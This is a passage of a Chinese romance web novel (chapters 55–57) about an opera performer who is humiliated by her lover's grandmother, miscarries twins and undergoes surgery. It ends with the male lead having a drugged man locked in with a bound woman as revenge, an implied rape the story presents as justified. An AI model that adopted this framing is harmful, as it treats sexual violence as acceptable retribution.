林青盏觉得她们太过小心,但知道傅随之下了命令他们不敢不从,没说什么。 她去休息室化妆,就让傅小灵和傅小敏在前台观众席喝茶等着。 那日何青素与她聊了后,林青盏没有多说,但心底对何青素还是感激的,这段时间两人感情好了些,像是回到小时候互相依靠的样子。 林青盏化好妆,过去给何青素搭手帮忙,刚弄完,抬起头看到慕觞淙走了进来。 她顿了顿。 何青素抬头看到慕觞淙,面色欣喜,但看着林青盏又略显尴尬。 反倒是林青盏神色淡然,拿着服装说去后院换衣服。 她从慕觞淙身旁走过时,慕觞淙能闻到她身上有着淡淡的海棠花香,他知道那是她惯用熏香沾染的气味。 自从她跟了傅随之,慕觞淙便难见到她,这段时间见她回来演出,他借着来看何青素,过来看到过她几次。 只是林青盏再也没将他放在眼里。 何青素走过来,见慕觞淙还在看林青盏,神色不太高兴地拽住慕觞淙的手,“淙哥!” 慕觞淙回过神来,注意到她的神色,笑了笑,将手里剥好的柚子递过去,“昨天不是说了想吃这个。” 只一句话就将何青素哄好了。 何青素接过那竹篮子,又去牵着慕觞淙的手,将人拉到她的化妆台前。 慕觞淙喂她吃了块柚子,她心底感觉浓情蜜语。 她心底爱着慕觞淙,自然是很好哄的。 慕觞淙看着她,佯装自然问:“你前段时间问傅家和沈家联姻的事情,帮她问的?” 何青素神色略有不自在,“她毕竟是我的师姐,从小都对我挺好的。” “我明白。我也想她好,当初是我亏待了她。”慕觞淙神色略伤感,“今天早上才刚听到傅家那边在说,联姻的日期快要敲定了。” “这么快?” “傅老夫人是沈家人,她一直想着让沈家的人继续当这傅家的当家主母,自然是用心在推进。傅随之虽然是掌权人,但毕竟上位时间短,根基不稳。更何况还有傅清檐傅总在,他处境并不好说。” 慕觞淙看了看何青素说道:“你和我都了解清盏的性情,傅随之和沈钰铭当真结了婚,她自然不可能如此委屈自己,恐怕她性子烈到时候会弄出什么事情来。要我说,还是提早让她看清现实,赶紧离开傅随之比较好。” 何青素感慨,“你上次让我跟她说的话,我都提醒过了。只是她现在好似爱得深,压根不听劝。” 爱得深。 这话像是一把匕首刺入慕觞淙心中。 当初跟他在一起的时候,总说做好准备随时可以抽离,即便慕觞淙要割舍这段感情,她也无怨无悔。 怎么轮到傅随之,就是爱得深割舍不下,如此没名没份也要跟着傅随之了。 何青素想了想,凑过来在他耳边说:“而且我师姐好像怀孕了。” “怀孕?”慕觞淙眼神冷了下来。 “应该是。我看那个傅小敏非常小心,每天带着药让她吃,说是补气血的。虽然他们表现得很平常,但我能看出来她们最近总是护着她肚子。” 何青素说道:“前段时间突然请假了十几天,说是感冒了,但感冒的话哪里需要这样小心,还是傅三爷亲自打电话过来请假的。我猜想应该是怀孕了,或许是怕傅府那边的人知道,瞒着消息没敢往外透露吧。” 慕觞淙心中不痛快,出了化妆间就给宋雅薇打了电话,透露傅随之不在,林青盏今天在台里,而且她很可能已经怀孕了。 “如果沈钰铭还想当上傅家主母,让她赶紧动手。” 宋雅薇在电话彼端冷笑,“你这旧情人怎么这么关心她的事情,连她怀孕了都知道。” 慕觞淙懒得跟她多说,“我关不关心她,跟你没关系。” “噢,我差点忘了,你还养了个小情人专门看着这旧情人。慕觞淙你说你痴情吧,挺痴情的,到现在还对林青盏念念不忘,但你痴情起来也挺吓人的,专门盯着你这旧情人,想把人往死里整,让她要离开傅三爷。既然如此,那当初为什么要答应将人送过去。” 慕觞淙对宋雅薇一直没有耐心,“你不用整天惦记着讽刺我,你不比我高尚。在这件事上,我们目标是一致的。我只要林青盏和傅随之产生隔阂,为我拿到我想要的东西。你也可以帮着沈钰铭当上傅家主母,以后帮衬你宋家。要还想合作的话,就别总这么多废话。” 说罢,慕觞淙将电话挂断,神色阴沉往外走。 今天下午排的戏是《青簪记》,林青盏很是熟悉,化了妆就在后院里清嗓子。 兰青翎和何青素也在一旁看台词。 临上台前,前面招待的工作人员突然跑进来跟阮青山禀报,“傅家老夫人过来了。” 阮青山顿了下,转身看了林青盏一眼。 别说他,林青盏自己也很诧异,没想到傅老夫人居然会屈尊到这里来。 他们是敞开门做生意的,自然不能往外赶客人,只能将傅老夫人和沈钰铭恭恭敬敬请进来,领到楼上包厢。 阮青山过来询问林青盏,“要不要换人?你不想上的话,让青翎顶替你的位置。” 这种临上台换人的情况很少,但不是没有过,兰青翎顶替林青盏的位置,何青素就要过来顶替兰青翎的位置,如此交换,连妆造也要马上改,非常麻烦。 林青盏摇头,“我可以上台,没关系。” 阮青山和兰青翎对视一眼,最终还是选择尊重林青盏的想法。 锣鼓喧嚣,戏曲开场。 身穿粉色长袖戏袍的林青盏上了台,开始诉说别人的坎坷人生。 她有着十几年的演出经验,倒是不至于让楼上那两位影响了自己的情绪,顺顺利利将这场表演结束。 到了谢幕环节,宾客慢慢起身要离开,楼上包厢的傅常就高声宣告:“傅老夫人,请林小姐到包厢一叙。” 台下等着的傅小灵和傅小敏随即站起身,替林青盏回绝。 “我们家小姐今天身子不舒服,不方便,请老夫人见谅。” 话音刚落下,就冲过来一群人,将舞台团团围住。 所有观众被往外轰,傅小敏和傅小灵没料到他们阵仗这么大,赶忙又给秦楠打电话。 秦楠排队了两个小时,刚买好桂花糕往这边开车,听到消息,极速冲了过来。 但远水救不了近火,现在台下满是傅老夫人的人,即便阮青山和兰青翎将她护在身后,林青盏也知道今天这局,非她不可破。 她从兰青翎身后走出来,“老夫人不过是想同我说几句话,我上去就是,不必如此大动干戈。” 傅常做了个“请”的动作,围着的保镖自动分开。 傅小敏冲过来,挡在林青盏面前,豁然拔出手里的匕首,横着指向傅常。 林青盏也没料到她性情这么猛,抓着她手臂。 傅小敏眼神犀利望着傅常他们一群人,话却是对身后的林青盏说的,“小姐,小敏在这儿,不可能让任何人伤害你。你不想去,咱就不去。我倒是要看看,谁敢动你。” 傅常知道傅小敏的个性,可不比傅小灵那么好说话,挥了挥手,让所有保镖后退了两步。 傅小敏抬眸看向楼上包厢,刚好对上沈钰铭的眼眸,凶狠多了几分。 “我们三爷虽然不在,但他的人都在浮城,你们有胆就过来看看,我今天就算是把你们都砍了。事后,三爷只会夸我干得好。你们乐意白白送上门来让我捅刀子,那你们就来。” 傅常无奈:“小敏你别这么冲动。老夫人就是有几句话和林小姐说,说完我们就走了。” “谁知道你们要说什么话,少在这里跟 我瞎掰扯,我们姑娘不去!你们赶紧给我滚。” “傅小敏!你说话最好注意态度。这可是傅老夫人,你当是随便什么人啊。今天就算是三爷在场,也要对老夫人毕恭毕敬的,你竟然胆敢如此无理!” “我就这样,不爽你们就来。” 傅常:“……” 场面一度陷入僵局。 林青盏也被傅小敏这应激反应弄懵了。好一会儿才反应过来,难怪上次被老爷子老夫人叫过去之后,傅随之当即就让傅小敏回来跟着她。 傅小敏果然对傅随之忠心耿耿,他下达的命令她死了也会做到。 但这是在望月台,真闹出什么事情,对望月台终归是不好的。 林青盏手搭在傅小敏肩膀拍了拍,“小敏你先将刀放下。” 傅小敏略有迟疑。 “老夫人既然想谈话,我们过去就是。”林青盏拉住她的手腕,“你和小灵陪我上去,好不好?” 傅常往楼上看了一眼,见沈钰铭点头,这才说道:“是了,你们要是不放心,跟着一起上去就好了。不用动刀子。” 傅小敏回眸看了林青盏一眼,见她点了点头,这才将匕首收起来。 只是仍旧护在林青盏面前。 林青盏将长袖绾起,顶着一头笨重珠钗走上楼,进了包厢。 傅小敏和傅小灵就站在她身后。 包厢里,沈家蓉坐在木椅上,手里端着杯茶,正在缓缓喝着茶。 那张脸庞,除了额头有些褶皱,其他是看不出岁月痕迹的。 老夫人将茶杯递给沈钰铭,缓缓抬眸看向林青盏,眼底的严苛清晰可见。 “我知道随之护你护得紧,要找你说两句话不容易。不过世事无绝对,你看今天机会就来了。今天这事儿是在给你提点,让你要看清点现实,随之能护着你,但不可能时时护着你。” 林青盏不卑不亢,但也不反驳。 沈家蓉原本就不喜欢她,见她如此闷不吭声的模样,跟已经去了的棠傛还真有几分相似,心底更加厌恶她。 当初她想让傅清庭和沈家人联合,特意找了浮城这边的沈家,因为这位沈家老爷是京都老沈家前几代人收养养子的后代,原则上跟他们老沈家是没有血缘关系,但利益关系都在,怎么也是沈家那边的人。 只要傅清庭娶了沈家人,不说两家利益纠缠,和京都那边的沈家必然关系更加密切。 可傅清庭偏偏看上了棠傛,硬要娶一个戏子进门,沈家蓉免不了要敲打敲打棠傛。 当时她把棠傛叫过来训话,棠傛也是用那双纯净的眼神望着她,一句话都不说,却说不好在心底怎么怨恨她。 沈家蓉一辈子富贵,高高在上惯了,最讨厌这些自以为坚韧不拔的穷酸样。 她看向林青盏的眼神更加鄙夷,“想必你也听说了,傅家和沈家的联姻定下来,年底随之和钰铭就会举行婚礼。” 林青盏诧异抬眸。 傅小敏和傅小灵也面面相觑,她们都没听说过这件事。 之前听何青素说起傅家和沈家联姻日期都定下来了,林青盏还不太相信。 这会儿听傅老夫人亲口说出来,林青盏也不好再自欺自然。 她以为自己能承受得住这消息,毕竟早有所准备,她和她的孩子或许就要如此名不正言不顺跟着傅随之,但此刻亲耳听到,心底还是难受的很,像是一整瓶醋都打翻了,五味杂陈。 鼻尖酸涩得很,眼睫也不禁眨呀眨的,很努力不让情绪跑出来。 老夫人都七十好几的人了,这辈子看过各种各样的人,林青盏的小眼神自然是逃不过她的眼睛。 “小姑娘啊,我知道你存的什么心思,你这种一门心思想往上爬的人,我见得多了。你们不就是想着,随之可是傅家的掌权人,即便是跟着他在外面做个小的,自然也比随便嫁个普通人好。但是做小伏低有时候不见得就能得到你想要的。” 傅小敏刚想上前,被林青盏拦住。 她知道这些总会来的,那今天就一概都说清楚了。 老夫人冷哼一声,“今天一见,我倒是才知道,你手段极为高明,叫我那冷血无情的孙子心甘情愿让人这样护着你。可他能做到的也就如此了。你大可以去问问他,是不是敢娶你进门,是不是能娶你进门?!” 林青盏望着沈家蓉,声音温柔却坚定,“老夫人,我知道怎么和你说,你都不能接受我。但不管你接不接受,我和随之是真心相爱,不管发生什么事情,我会一直站在他身边。” “噢,真是这样的?”老夫人眼神冷了几分,那股高高在上的气势越发浓烈,“你能接受这样不明不白跟着他,也甘愿让你的孩子生下来就成为私生子?” 此话犹如雷击,震得林青盏心尖一颤。 她讶异抬眸看向老夫人。 老夫人冷笑一声,“你若甘愿,我傅家自然也不会拦着。生下来就是我傅家人,到时候我让钰铭带在身边养着就是了。” 林青盏握紧拳头,“老夫人真以为谁都想进你们傅府门?我的孩子生下来只会养在我身边,绝对不可能养在别人那里。” 留下这话,林青盏自觉没什么再想说的,转身要离开。 老夫人在身后悠悠说了句,“小姑娘啊,你还是太年轻了。有些事情想不开,怎么能玩得过我那冷血的孙子啊。” 林青盏不想再听,拉开门走了出去。 秦楠刚巧带着保镖冲上来,见她安然无恙才松了口气,“小姐,我送你回去。” 林青盏还穿着一身长袍戏服,顶着今日上场的戏妆,不好这样出门,说让他们稍等片刻,她回化妆室卸个妆。 傅小灵和傅小敏要陪着她进去,林青盏说想一个人静一静,叫她们止步,自个儿走进去了。 姐妹两人站在门口面面相觑。 想到沈家蓉刚刚说的那些话,傅小敏气不打一处来,对着秦楠就是一拳,“让你买个桂花糕,你买这么久!关键时候你不在,要你何用!” 秦楠喊冤,“那家店本来就排老长的队。” 傅小灵食指贴在唇尖,“嘘”了一声,“小姐还在里头呢。快别吵了。” 两人当即噤声,不敢再说什么。 他们在门口等了半个小时,愣是没等到人出来,傅小灵在门口叫了两声,没有得到回应。 刚巧何青素和兰青翎走过来,赶紧推开木门,见化妆室里空荡荡的,还以为人凭空消失了。 是何青素在更衣室里面找到人,她看到林青盏躺在地上,脸色苍白不说,她身下竟然渗着血。 “快过来,都是血!” 秦楠冲进去,将人抱起来就往外面跑。 林青盏像是陷入了梦靥。 梦里,她站在傅府老宅,走廊上挂满了海棠花灯笼,很是漂亮。 她隐隐约约听到孩童的声音,忍不住被吸引,迈步往前走去,远远地,就看到两个孩子,一男一女,穿得跟年画娃娃似的可爱。 女孩扶着走廊的木凳子,步伐阑珊地朝她这边走来,嘴里轻轻地说着“ma”的音节。 男孩跟女孩一样高,那张脸和傅随之简直一个模子刻出来的,清冷得很,他始终站在女孩旁边,却没有走近。 远远看了林青盏一眼,他抓住女孩的手掌,往走廊尽头拖去。 小女孩想过来找林青盏,被他拽住,最后只能哭着喊着跟她挥手道别。 转过身的时候,小女孩一个没站稳,整个人踉跄摔在地板上。 林青盏心底一紧,急忙要上前。 就那一秒钟,面前的两个孩子就不见了。 林青盏吓得哭出声。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 京都东城TRBHutong餐厅,傅随之陪着周聿淮在包厢里用餐。 这家坐落在智珠寺内的餐厅,有着纯正的欧陆风情又搭配古色古香的中式环境,环境很是赏心悦目。 菜色结合了时令应季的食材,菜品也是一绝。 但傅随之关注点压根不在这些,他在专注和周聿怀谈判。 盛蓝这个项目谈成了浮梦今安两年内能获益上百亿,跟周家保持长期合作,傅氏集团也能跟着再上一个台阶。 到时候别说傅清檐想夺权不容易,老爷子恐怕也不敢再倚老卖老安排他的事情。 项目好,但不好谈。 周聿淮从来不是个简单的人物,即便傅随之谈判能力再强,他硬是四个小时未松口。 关键时刻,傅慎走了上来,站在傅随之身旁没敢动。 傅随之冷眼瞥过去,傅慎神色更加为难,他瞬间明了,跟周聿淮 致歉走出包厢。 包厢门口,古寺走廊绵延漫长。 傅随之一身黑色西装站在屋檐下,转身看傅慎,“什么事?” “林小姐那边出事了。” 傅随之先是一愣,心底想着有秦楠和傅小敏在,他们不可能让她出事,以为是她怀孕有了什么不好的反应。 冷判官傅慎都皱眉,不大敢开口,最终还是说道:“小姐怀孕的事不知道怎么传到老夫人那边,今天老夫人带着沈钰铭去望月台找茬。人让小敏她们给护着了,但老夫人说话不好听,羞辱了林小姐一顿,林小姐给气得又出血,直接晕过去。” 那一刻,傅随之只感觉血往头顶冲。 他顾不得什么项目收益几百亿,跟周聿淮道歉后直接离开,乘坐私人飞机飞回浮城。 在飞机上,秦楠和傅小敏亲自打电话过来说明了情况,包括老夫人说的一字一句都完整复述。 傅随之气得将玻璃酒杯都捏碎了,“废物!”一声呵斥后,手机被发狠扔了出去- 林青盏被发现晕倒在化妆室时,已经出现大出血的情况,被紧急送往医院,医生给做了详细检查,建议直接做流产手术。 听到消息,秦楠和傅小敏他们不敢做决定,只能将情况转述傅随之,傅随之下了命令,一切等他回来决定。 林青盏迷迷糊糊醒来,睁开眼看到自己躺在病床上。 风吹拂起浅蓝色的窗帘,阳光照射进来,过于刺眼,她不得不眯着眼睛。 她也感觉到,自己的身体很奇怪,时而像是铅球般往下坠落,时而又像是气球般飘浮而起。 见她睁开眼睛,傅小灵姐妹赶紧凑过来,“小姐,你终于醒了。” “我——”林青盏听到自己的声音有些发不出来,缓了好一会儿才开口,“怎么了?” 傅小灵差点哭出来,但她不敢。 好在傅小敏沉得住气,她将傅小灵拉开,去握住林青盏的手,“你在化妆室里面晕倒了,我们不敢耽搁,就给你送医院来了。” 林青盏躺着缓了好一会儿,那种飘浮和失重感才渐渐消失。 她能感觉到好像是有什么东西流出来了,除此之外并没有太强烈的不适感,“我是又出血了吗?” 前段时间出过血,她现在就有这种感觉,认为应该是又出血了。 傅小敏不敢说谎哄骗,只能安抚她:“医生过来检查了,三爷很快会回来。” 林青盏脸上没有欣喜之色,缓了片刻,“我想再睡会儿。” 傅小敏为她拉好被子,“小姐你休息吧,我们会一直在这。” 不知道是不是怀孕的关系,林青盏感觉很疲惫,闭上眼睛就陷入了深沉的睡眠。 睡梦中,她又看到那两个像是年娃一样的孩童,他们依旧站在走廊的尽头,远远地望着她,就是不走近。 林青盏刚想迈步过去,面前的场景瞬间转变,她出现在傅家老宅的海棠苑门口。 好像是有什么喜事,门口挂着红灯笼和双喜大红的字帖,锣鼓喧天,很是热闹。 她疑惑走进去,抬眸就看到身穿黑色西装白色衬衫的傅随之,与身穿红色新娘服的沈钰铭站在一起。 林青盏停下脚步,胸口一阵阵地疼,眼泪也跟着从眼角滑落,“随之。” 傅随之转过身,那张脸冷得不像话,看着她的眼神好似有些悲痛。 更让她措手不及的是,方才消失的两个孩子这会儿却站在傅随之和沈钰铭中间,清纯眼神看着她,转身扑进沈钰铭怀里,叫着:“妈妈。” 林青盏那颗心好似从半空突然坠落,跌落山谷中,叫她全身失了力气,痛彻心扉。 “小纾。” 耳畔响起傅随之低沉醇厚的声音,林青盏缓缓睁开眼睛,看到的是一片灰暗,傅随之躺在她身旁,炙热手掌捧着她的脸颊,指腹轻轻摩挲。 “小纾。” 他又唤了一声,她才彻底从梦靥醒过来,转身看向他。 那双浅棕色眼眸望着她,难得透出些许担忧,“做噩梦了吗?” 许是方才的梦太过真实,她完全代入了今天沈家蓉说的那些话,心底有着如针扎般的疼痛,看着傅随之,压根没办法给他好脸色。 她转过身去,只留给他一凉薄的背影,手臂也不枕着,周身都是怒气和哀怨。 傅随之垂眸看着宁愿蜷缩成一团也不挨着他半分的女人,情绪倒是不恼,想着傅小敏复述的那些话,知道她被那样羞辱,心疼得很,哪里还能对她有气。 他主动凑过去,手臂从她脖颈下穿过将人搂过来。 林青盏挣扎着想远离他,傅随之没让她逃走,手掌捏着她脸颊将人掰过来,“你气我恼我可以,不爽打我也行。” 她张嘴对着他虎口穴咬下去,劲儿没有半分虚假,硬是将他咬出血来才勉强松口。 她自己也气得胸膛起起伏伏,心底憋着那股气还是散不去,她握拳朝他胸口捶下去。 傅随之随着她发泄完,将人又搂过来,宽厚手掌贴着她单薄脊背一点点往下顺,是难得温柔的。 到此,林青盏更加无力,鼻尖泛酸,眼眶瞬间红了。 傅随之指腹贴着她眼尾,为她将眼泪拭去。 “老夫人说的话,不要在意。我之前和你说过,她一门心思想让沈家人进傅家,巩固沈家人的权势,话自然不可能好听。但她说了没用,我告诉过你,我不可能和沈钰铭结婚。” 傅家现在还能大张旗鼓张罗着所谓他和沈钰铭的婚礼,是因为老爷子手里还捏着点实权,族中还有他的势力。 但人都是利益群体,只要利益转变,跟随者也能跟着改变。 他这次那么耗费心思去跟周聿淮谈生意,就是知道这个项目拿过来,他的地位能够更加巩固,连带着老爷子手下那波人也会跟着专变风向。 到了那时候,他羽翼丰满,自然就能自己做主。 这其中牵扯太多,三言两语说不清。 傅随之只捧着她的脸,亲吻了她额头,声音都柔了几分,“我只会跟一个人结婚,那就是你。” 林青盏忍了很久的泪还是从眼角滑落下来,“随之,你不必骗我。我自知跟你门不当户不对。” 他手掌捏着她脖颈后面的软肉,声音突然冷了几分,“小纾,要是你到现在还看不清我是什么样的人,不知道我想要的是什么,那我跟你说得再多都没有意义。” 她呼吸缓了下来。 “我能答应你,我此生的伴侣只会是你。”傅随之抵在她唇角,“但我现在给不了你婚姻,再等一等。” 相 比以往的冷漠说话风格,今日的傅随之确实已经温柔许多,让林青盏心底的气结慢慢消散。 她纤细指尖揪住他的衬衫衣领,将他往自己这边拽过来,“那宝宝生出来——” 傅随之压下身吻住她柔软的唇,浅尝辄止,“来得及,不用担心。” 他没有告诉她,傅怀锦和傅氏那些人远比他们想象得还要狠。 二十七年前,傅清庭和棠傛就是这样,两情相悦有了孩子,傅清庭死也要娶棠傛,那时候的棠傛还是棠氏小姐,他们都要百般阻挠。 最终,傅清庭强硬抵抗胜利,娶了棠傛,可这并不是美好的结局。 傅清庭没有给棠傛最盛大的婚礼,甚至于没有按照当家主母的礼仪将她请进门,进入傅府后也还要看沈家蓉的脸色生活。 傅清庭和棠傛结婚半年,傅清庭就遭遇不幸离世,棠傛挺着大肚子,生活更是艰难。 傅随之有信心不会成为第二个傅清庭,但是沈家蓉说的那句话不假,他现在要迎娶林青盏进傅府,傅怀锦和沈家蓉必然会耍手段找林青盏麻烦,他自然会护着她,可他没办法时时在她身边。 他已经失去了父亲母亲和妹妹,他不能失去她和他们的孩子。 任何一点可能,他都不允许。 现在他确实根基不稳,傅怀锦才敢如此对他的事情指手画脚。不过不用一年,他能拿下蓝盛的项目,再加上浮梦今安的其他项目,局势会完全不一样。 这些只是他的谋划,指不定还有变数的事,他从来不轻易将承诺说出口。 林青盏用手背将眼角的泪擦干,望着他认真地说:“孩子只能是我的孩子,我不可能将孩子给其他人养。他们只能在爸爸妈妈身边。” “我也一直这样认为,这是我们的孩子。” 傅随之松了口气,将她的脑袋揉入怀中。 “跟你说了,别人说的话都不要听不要信。你只用看着我,只要信我。” 她环住他的腰将脸埋在他胸膛,闻到他身上那股很凌冽的雪松香味,“随之,我信你。”- 隔天清晨,傅随之睁开眼,垂眸看着怀里的人,冷峻的脸庞沾染了些许柔和。 他举手为她将柔顺长发往后拂去,低头吻了吻她的白皙脸蛋,才缓缓起身,走出病房。 门口守着的人赶忙走上前。 秦楠自知这次没保护好林青盏,一句话都不敢多说,只能把自己当做空气。 傅随之果然没好脸色,冷冷瞥他一眼,那股强大的压迫感叫秦楠差点跪下。 不过傅随之现在没空收拾他们。 他亲自联系了院长,在院长的陪同下,找到了妇产科黄主任。 没想黄主任就是上次给林青盏做检查的那位老医生。 黄主任在妇产科二十多年,成绩累累,而且她再两年就退休了,院长之前还听过她的课,是她学生,对她都要客客气气的。 看到院长和傅随之过来,她心中明白傅随之身份不一般,但她不是那种会巴结的,反倒是站在医生的立场,很严谨地交代,“检查结果并不好,你们做好心理准备。” 一句话让傅随之的脸瞬间沉下去。 院长都吓了一跳,“黄主任,这话怎么说,出血能保胎的。” 黄主任将检查结果调出来给他们看,“怀的双胎,长了胎芽,超声未见心博,考虑胚胎停止发育。” 院长也愣住了,“确认吗?” “要确认得问彩超科,但院长,我们彩超科从未出过这种简单错误。” 院长被揶了下,瞬间没了声音,转身看向傅随之,表情有些为难。 傅随之身躯笔挺坐在办公桌前,搭在桌面的手掌慢慢捏紧拳头,感觉到掌心都是冰凉的。 “可以彩超再确认一遍吗?之前我们检查是有胎心的。” 黄主任看着他,之前的坏印象倒是有了些许改变,“想再挣扎下?可以,我开彩超单去再做一遍。但我还是劝你们尽快手术,胎停停留太久没有流出,对母体伤害可大可小。” “她身体会受损?” “对。” “好,那我们现在就再做彩超。如果结果还是一样,我们接受马上安排手术。” 从医生办公室走出来,傅随之垂眸看了眼手里的检查单,眼尾满是戾气,冷面如霜。 林青盏醒来,傅随之过来陪着她喝了一碗粥。 结束后,傅小敏过来提醒说还得做个彩超复查,林青盏觉得疑惑,但还是跟着去了。 走到门口,她不经意回眸,看到傅随之低垂着头,脸色极为难看,她心底突然有了不好的预感。 她转身问傅小敏,“你们是不是有什么事瞒着我?” 傅小敏笑了笑,“小姐你别多想,我们先去检查看看。” 傅小敏扶着她进去,让她躺下。 她听到做彩超的医生在议论之前的检查结果,随后为她仔细做了检查。 她能感觉到这次的检查比之前都久,那个医生反反复复压着她的肚子,像是想确认着什么。 她声音颤抖地问:“怎么样了?” 医生没有看他,很是平淡地说:“和之前一样的,停止发育了。” 林青盏整个人怔住。 医生宽慰:“看你还很年轻,没事的,养好身体很快会再有的。” 傅小敏站在原地,恨不得去捂住那医生的嘴巴,可来不及了。她慌张看向躺着的林青盏,只见她脸色苍白如纸。 林青盏不知道自己是怎么走出那彩超科室,抬眸看到等候在门外的傅随之,感觉全身的力气都被抽走似的,连抬起指尖都没有力气。 傅小敏看着傅随之用嘴型无声说着,“小姐知道了。” 傅随之走过去,将她打横抱起,脸颊蹭了蹭她的额头。 林青盏抓住他的衣领,已然泣不成声,“为什么不告诉我?她们说——” 说她的孩子走了。 傅随之搂着她的手掌甚至不敢用力。 将人抱回病房,他遣散所有人,将她搂入怀中,低声宽慰着,“我问过医生,前三个月都会有个自然淘汰的概率。不要伤心,你想要孩子,等你后面身体养好了,我们再生,好不好?” 他哄着她,可她一句话都听不进去,“他们说不定没走——” 他抓住她的肩膀,低头望着她的眼睛,“小纾。” 林青盏泪流满面。 “医生说,停止发育后会对你身体造成伤害,我会签字做手术。” 她指尖的最后一丝力气瞬间被抽走,身体也软瘫了下去- 隔天,傅随之答应医生的建议,进行手术。 林青盏全程没有再说一句话,随着傅随之将她推入手术室,结束后又被推回病房。 手术当天需要再住院观察,六个小时后,黄主任亲自过来交代可以出院,回家需要好好疗养。 出院时,是傅随之抱着她离开的。 她全身像是棉花糖一样软绵靠在他怀中,听到远处钟楼传来钟声,白色的鸽子从头顶飞过,将她的最后一丝希望全部带走。 回到海棠湾,傅随之亲自在身边照顾,但林青盏不需要,推开他的胸膛只想让他离自己远些。 傅随之只能让傅小灵过来伺候,自己就坐在旁边。 知道林青盏心底有气,傅随之又让傅小敏联系了顾蝉。 当天晚上,顾宴迟带着顾蝉过来,一路径直往卧室而去。 顾蝉看到傅随之就气不打一处来,但现在她更关注林青盏的情况。 她走过去在床沿坐下,将林青盏的手掌抓住,“小盏宝贝,我来了。” 看到她的那一刻,林青盏心底积攒的情绪再也绷不住,转过身抱住顾蝉的腰,将脸埋在她腰间,哭得沉闷。 听到她的抽泣,傅随之眼神随即沉了下去,转过身离开。 顾宴迟追下楼,拦住他,“你做什么去,现在她最需要你,你可不能离开。” 傅随之抬眸看了眼二楼的方向,“你留下,帮我看着。我去去就回。” 他转身就走,顾宴迟在后面“诶诶诶”叫着,他半点不理会。 傅随之带着秦楠和傅慎回了傅家老宅。 巍峨老宅大门被打开,身穿黑色西装的傅随之迈步走进去,身后跟着一队黑衣保镖,阵容强得惊人。 秦楠和傅慎在前头开道,直接将荣华园大门踹开,守着的傅常听到声音吓了一跳,抬眸看到冷面凝霜的傅随之,心脏突突的。 总感觉傅随之今晚的眼神太过恐怖。 “家主,这么晚过来是有什么事吗?有事情您吩咐一声——” 傅随之没让他将话说完,一脚踹过去将人踢飞在柱子上。 屋里头听到了动静,点起了灯,老爷子声音低沉得有些发哑,“傅常怎么回事?” 傅常倒在地上,捂着胸口疼得厉害,压根没有办法回答。 傅随之一身黑衣黑裤站在院子里,活像是阎罗王,冷眼盯着房间大门,歪了歪头,示意傅慎行动。 傅慎点头称是,转身去将傅常拽起来,“沈钰铭房间在哪里?” 傅常疼得说不出话,只能指着西边的房间。 得到消息,傅慎将他丢在旁边,转身要去西边房间找人。 没想,刚站在走廊下,房门自行打开,换好衣服的沈钰铭走出来,看到院子里的人吓得脸色发白。 灰暗院子里,四周满是人,傅随之就站在院子中央,眼神冷得像是深海的冰川,让沈钰铭脊背发凉。 但傅慎没让她有太多时间思考,直接走过来,将她推进房间里,直接绑在床上。 沈钰铭吓得嚎啕大叫,“你干什么?你要干什么?!老夫人!老夫人!救命啊!” 傅慎充耳不闻,将人绑好后,顺便拽了把木椅摆在院子中央,让傅随之坐下。 老爷子和老夫人搀扶着走出来时,看到院子里坐着的傅随之,不明所以,“你这大晚上的要干什么?” 傅随之懒散坐在木椅之上,单薄手掌搭着扶手,诡异一笑,“你们不是惦记着让沈钰铭入傅家大门,磨磨蹭蹭的,不如来个痛快。” 傅怀锦和沈家蓉面面相觑,“他到底要干什么?” 傅随之声音更加冷:“这么想要孩子,我可以帮你们,今晚先洞房。” 沈家蓉看向沈钰铭的房间,听到沈钰铭哭的声音越来越弱,气得拿拐杖指着傅随之,“你这个畜生,你想让人玷污沈钰铭?” 傅随之扭了扭脖子,身上的那股子阴狠气息扑面而来。 “放心,肯定是傅家的种。” 傅怀锦早听说了沈家蓉去找林青盏的事情,他知道傅随之必然不会善罢甘休,但是没想到他会这么大晚上冲上门来。 他走下台阶,原是想跟傅随之好好谈谈,却看到秦楠拽着傅鸿源走了进来。 傅鸿源衣衫不整,看着像是从哪个被窝里出来的,白色衬衫满是污渍,不知道是沾染了什么,整个人精神头看着不太对劲。 “你们干什么啊?秦楠你他妈放开我?是谁让你——傅随之!你让你手下的人抓我干什么?我最近可没有招你惹你啊!” 傅随之没回头,手指抵在太阳穴,冷冷盯着沈家蓉,眼神恶毒。 “傅随之!你到底要干什么?你他妈给我灌药,又是给我拉这里,你……哎哟!” 傅鸿源原本在香桂芳快活,突然进来一帮人,把他的保镖都干倒,上来就给他灌了药,五花大绑给绑过来了。 他这会儿身体慢慢发烫,自然是知道他们给他灌的什么药,可是傅随之大晚上的,干这么一出是什么意思。 秦楠没理他,直接将人丢进沈钰铭房间里。 傅鸿源摔了个大跟头,“哎哟!”抬起头看到被绑在床上的沈钰铭。 方才沈钰铭起来得着急,在真丝睡裙外面套了件小外套,这会儿因为挣扎全乱了,真丝睡裙被撩到大腿根,露出白皙的双腿,以及若隐若现的蕾丝。 傅鸿源看得眼睛发直,身体越来越滚烫。 他站起身,压根控制不住自己,朝着沈钰铭走过去。 沈钰铭吓得脸色都白了,“傅鸿源,你不要过来!你不要过来!” …… 房间里传来嘶吼的声音,沈家蓉吓得拽住傅怀锦的手臂,“赶紧叫人去开门,钰铭怎么能这么被欺负。” 傅怀锦刚想开口,发现坐着的傅随之突然笑了。 到了这会儿他反应过来,傅随之能大摇大摆坐在这里,还将人都绑了过来,肯定是已经解决了院子里的人。 他转身瞪了沈家蓉一眼,“我是不是说过,叫你不要激他。” 沈家蓉这会儿才知道后怕,但房间里的春宵一刻才刚开始,沈钰铭的哭声越来越大,在这黑夜里显得越发悲戚。 第57章 傅怀锦深吸一口气,知道傅随之既然这么做了,今晚的事情必然改变不了。 “你就那么不想跟沈家人结婚,沈家有什么不好,她可以给你最大的支撑,只要你愿意配合,你可以将这个位置做得更稳,即便是你二叔也撼动不得。” 傅随之抬眸看他,“不用沈家,傅清檐也动我不得。” “我跟你说过什么,人不能盲目自信,傅清檐并没有你想象得那么简单。今天你亲自将沈家人送到他那边,必然会成为你往后的阻碍。” 傅随之没那个心思跟他废话,他将目光转向沈家蓉,“我今天过来就是告诉你们一声,我身边的人你们最好不要再打主意。今天我两个孩子没了,这笔账我永远会记在你们身上。再有下次,我可不能保证我还会做出什么事。” “孩子没了?”沈家蓉诧异。 